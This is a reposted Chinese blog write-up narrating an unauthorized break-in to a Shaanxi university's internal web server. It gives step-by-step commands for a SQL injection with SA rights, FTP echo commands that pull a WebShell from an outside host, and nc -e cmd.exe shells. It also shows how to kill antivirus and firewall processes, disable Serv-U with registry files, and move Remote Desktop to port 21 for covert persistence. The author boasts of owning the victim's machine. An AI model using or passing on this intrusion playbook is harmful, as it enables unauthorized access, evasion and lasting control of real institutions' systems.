热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

偷天换日之入侵陕西某高校内部网

最近黑防上面有很多如何入侵高校网站的文章,大都是进行的注入攻击。呵呵,为了迎合大众所趋,我也进入一些高校网站玩了玩。这不,这次就发现了一个陕西高校里面一个网站的注入漏洞,不过获取最

最近黑防上面有很多如何入侵高校网站的文章,大都是进行的注入攻击。呵呵,为了迎合大众所趋,我也进入一些高校网站玩了玩。这不,这次就发现了一个陕西高校里面一个网站的注入漏洞,不过获取最高权限还真费了一翻劲。

第一步:发现注入漏洞在它的一个新闻显示页面的联接上加一个,呵呵,可以注入!看看是什么权限的,在后面在加一个 and user>0 显示有dbo的字样,晕,竟然可以拥有SA的权限,唉,真不知道管理员是怎么搞的!先不管这些,拿出明小子的domain,现在的版本到了3.5了(和其他注入工具相比,domain用起来还是比较顺手的,不过命令回显有点糟糕)。既然发现了注入点,那么开始干活吧!

第二步:上传文件既然现在有了sa的权限,那么就可以执行管理员权限的命令了。不过因为一般工具的回显都很糟糕(至少我用NBSI,domain等都有这样的问题),所以还是先搞个WebShell上去再说吧。首先需要找到web根目录,不然WebShell放哪啊?!在domain的命令行下多dir几次就可以找到了,根据一般人的习惯,根目录不会太深,取的文件名和网站多少有点关系。估计没有几个管理员会把根目录名取得很怪异并且放在层次很深的地方(这是管理员都有的通病,怕麻烦,图方便,可是方便了自己也方便了我们,嘿嘿)。很快就可以找到根目录为 d:/ccs。那么就上传WebShell 吧!可是这几个注入工具的上传功能都有点问题,要么传小文件没问题,传大了就不行了!要么根本没传上去了,现成的工具没法上传了,咋办?不怕不怕,总不能在一棵树上吊死吧!用ftp下载!在domain的命令行下依次输入下列语句:echo open showff.51.net>>c:ftpecho showff>>c:ftpecho 123456>>c:ftpecho cd public_html>>c:ftpecho get WebShell.asp d:ccsindex_admin.asp>>c:ftpecho bye>>c:ftp当然首先你要有一个FTP的空间,我用的虎翼的FTP,速度很快。这样在服务器c盘上就生成了一个名为ftp的文件内容就是刚输入的东东。命令行下输入ftp -s:c:ftp,点击执行,这样一个 WebShell就下载到我们可爱的肉鸡上了。浏览器输入地址查看进入我们的WebShell 里面去,我们下载的海洋2006,功能强大,好用.到现在为止,如果只是想活动WebShell的话似乎就够了,海阳的WebShell可以干很多事情了。但是我们的目标是进一步获取更大的权限。

第三步:偷天换日更换服务用WebShell上传一个nc,然后在domain的命令行里面执行 nc-e cmd.exe –l –p 43958,在自己的电脑上执行telnet xxx.xxx.edu.cn 43958没有任何反应,显示为”不能连接到主机”这样的字样。很好,很正常,服务器里面没有杀毒软件和防火墙软件才怪了。为了进一步证实这点,在domain里面执行netstat –a,根据返回结果我又telnet了几个打开的端口.其中80端口和21端口开了,都可以访问到,其他的端口根本没法使用!那么就用pslist和pskill把相关的杀毒软件和防火墙关了呗!呵呵,当然我也这么做了,但事实上没那么简单。这台服务器上虽然有瑞星防火墙,但是关了之后当我再次telnet远处的nc时根本没有反应,这是为什么呢?(沉思了几秒)呵呵,其实很简单的,因为这是一个学校的里面的内部网站,八成在这台服务器的周围存在着其他类型的防火墙或者网关之类的东西,只允许外部访问这台服务器的80和21端口。可是80和21端口都被占用了,难道我们就没法使用我们自己的木马或者获取3389远程控制权吗?非也!看我来施展偷天换日大法!首先我们要意识到80端口必须存在不然很快就会被发现被黑,那么只能拿21端口下手了。一般只是管理员使用文件上传而已,暂时可以不被发现的。用net start命令查看发现对方使用的Serv-U的FTP服务器。Step one:设法使Serv-U服务禁止,这样它就不能开机自动运行而占用21端口了。方法如下:编辑一个reg文件,内容如下:REGEDIT4[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesServ-U]Start=dword:00000004注意REGEDIT4下面要有一空行。Start为2是自动,3是手动,4是禁止。这和服务里面的设置是一一对应的。保存为a.reg文件,用WebShell上传至服务器的d:/ccs/index/a.reg,使用domain运行 regedit /s d:/ccs/index/a.reg 这样Serv-U服务就被禁止了。随后用在domain里面使用命令net stop serv-u将现有的ftp进程关掉。Step two:修改Terminal远程登录的端口号。原本是3389的,现在要改为21。可以编辑注册表修改,也可以直接运行3389端口修改器类似这样的程序。我使用x3389程序修改。直接上传至服务器,在domain里面执行x3389.exe 21即可。随后设法开启3389服务,网上有很多这样的方法,这里不说了。如果想使Terminal服务总是开机自动运行,还需要编辑一reg文件内容如下:
REGEDIT4[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermService]Start=dword:00000002保存为b.reg,上传服务器并运行regedit /s d:/ccs/index/b.reg。如果嫌开Terminal服务麻烦,干脆直接传个Radmin或者其他什么远程控制软件设置端口为21不就得了吗?Step three:重启服务器。上传个reboot工具,执行重启。这是为了Terminal服务需要的。如果使用其他木马可以不考虑重启。重启后,在用domain运行net start ,发现Serv-U不见了,呵呵!那么,现在就可以大摇大摆的进入服务器了!这里我随便上传了一个nc试试效果,执行命令为nc –e cmd.exe –l –p 21,然后在本地执行telnet xxx.xxx.edu.cn 21,返回结果。

总结:其实,只要把原有的FTP禁掉,空出21端口来,那其他的事情也就好做了。主要是开始如何察觉到它的周围防火墙的情况以及允许通过的端口。了解了这些,服务器还不是任我们鱼肉吗?当然,为了保证肉鸡的长久性,稳定性和不被发现性,最好使用隧道技术通过。


推荐阅读
  • Linux一键安装web环境全攻略
    摘自阿里云服务器官网,此处一键安装包下载:点此下载安装须知1、此安装包可在阿里云所有Linux系统上部署安装,此安装包包含的软件及版本为& ... [详细]
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • 渗透测试基础bypass绕过阻挡我们的WAF(下)
    渗透测试基础-bypass ... [详细]
  • Nginx使用AWStats日志分析的步骤及注意事项
    本文介绍了在Centos7操作系统上使用Nginx和AWStats进行日志分析的步骤和注意事项。通过AWStats可以统计网站的访问量、IP地址、操作系统、浏览器等信息,并提供精确到每月、每日、每小时的数据。在部署AWStats之前需要确认服务器上已经安装了Perl环境,并进行DNS解析。 ... [详细]
  • Linux服务器密码过期策略、登录次数限制、私钥登录等配置方法
    本文介绍了在Linux服务器上进行密码过期策略、登录次数限制、私钥登录等配置的方法。通过修改配置文件中的参数,可以设置密码的有效期、最小间隔时间、最小长度,并在密码过期前进行提示。同时还介绍了如何进行公钥登录和修改默认账户用户名的操作。详细步骤和注意事项可参考本文内容。 ... [详细]
  • Centos7.6安装Gitlab教程及注意事项
    本文介绍了在Centos7.6系统下安装Gitlab的详细教程,并提供了一些注意事项。教程包括查看系统版本、安装必要的软件包、配置防火墙等步骤。同时,还强调了使用阿里云服务器时的特殊配置需求,以及建议至少4GB的可用RAM来运行GitLab。 ... [详细]
  • Linux如何安装Mongodb的详细步骤和注意事项
    本文介绍了Linux如何安装Mongodb的详细步骤和注意事项,同时介绍了Mongodb的特点和优势。Mongodb是一个开源的数据库,适用于各种规模的企业和各类应用程序。它具有灵活的数据模式和高性能的数据读写操作,能够提高企业的敏捷性和可扩展性。文章还提供了Mongodb的下载安装包地址。 ... [详细]
  • 如何查询zone下的表的信息
    本文介绍了如何通过TcaplusDB知识库查询zone下的表的信息。包括请求地址、GET请求参数说明、返回参数说明等内容。通过curl方法发起请求,并提供了请求示例。 ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 本文详细介绍了cisco路由器IOS损坏时的恢复方法,包括进入ROMMON模式、设置IP地址、子网掩码、默认网关以及使用TFTP服务器传输IOS文件的步骤。 ... [详细]
  • 腾讯安全平台部招聘安全工程师和数据分析工程师
    腾讯安全平台部正在招聘安全工程师和数据分析工程师。安全工程师负责安全问题和安全事件的跟踪和分析,提供安全测试技术支持;数据分析工程师负责安全产品相关系统数据统计和分析挖掘,通过用户行为数据建模为业务决策提供参考。招聘要求包括熟悉渗透测试和常见安全工具原理,精通Web漏洞,熟练使用多门编程语言等。有相关工作经验和在安全站点发表作品的候选人优先考虑。 ... [详细]
  • 本文详细介绍了在Centos7上部署安装zabbix5.0的步骤和注意事项,包括准备工作、获取所需的yum源、关闭防火墙和SELINUX等。提供了一步一步的操作指南,帮助读者顺利完成安装过程。 ... [详细]
  • Tomcat安装与配置教程及常见问题解决方法
    本文介绍了Tomcat的安装与配置教程,包括jdk版本的选择、域名解析、war文件的部署和访问、常见问题的解决方法等。其中涉及到的问题包括403问题、数据库连接问题、1130错误、2003错误、Java Runtime版本不兼容问题以及502错误等。最后还提到了项目的前后端连接代码的配置。通过本文的指导,读者可以顺利完成Tomcat的安装与配置,并解决常见的问题。 ... [详细]
  • 浅解XXE与Portswigger Web Sec
    XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而 ... [详细]
  • FIN7后门工具伪装成白帽工具进行传播
    fin7,后门,工具,伪装,成,白, ... [详细]
author-avatar
成事r2003
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有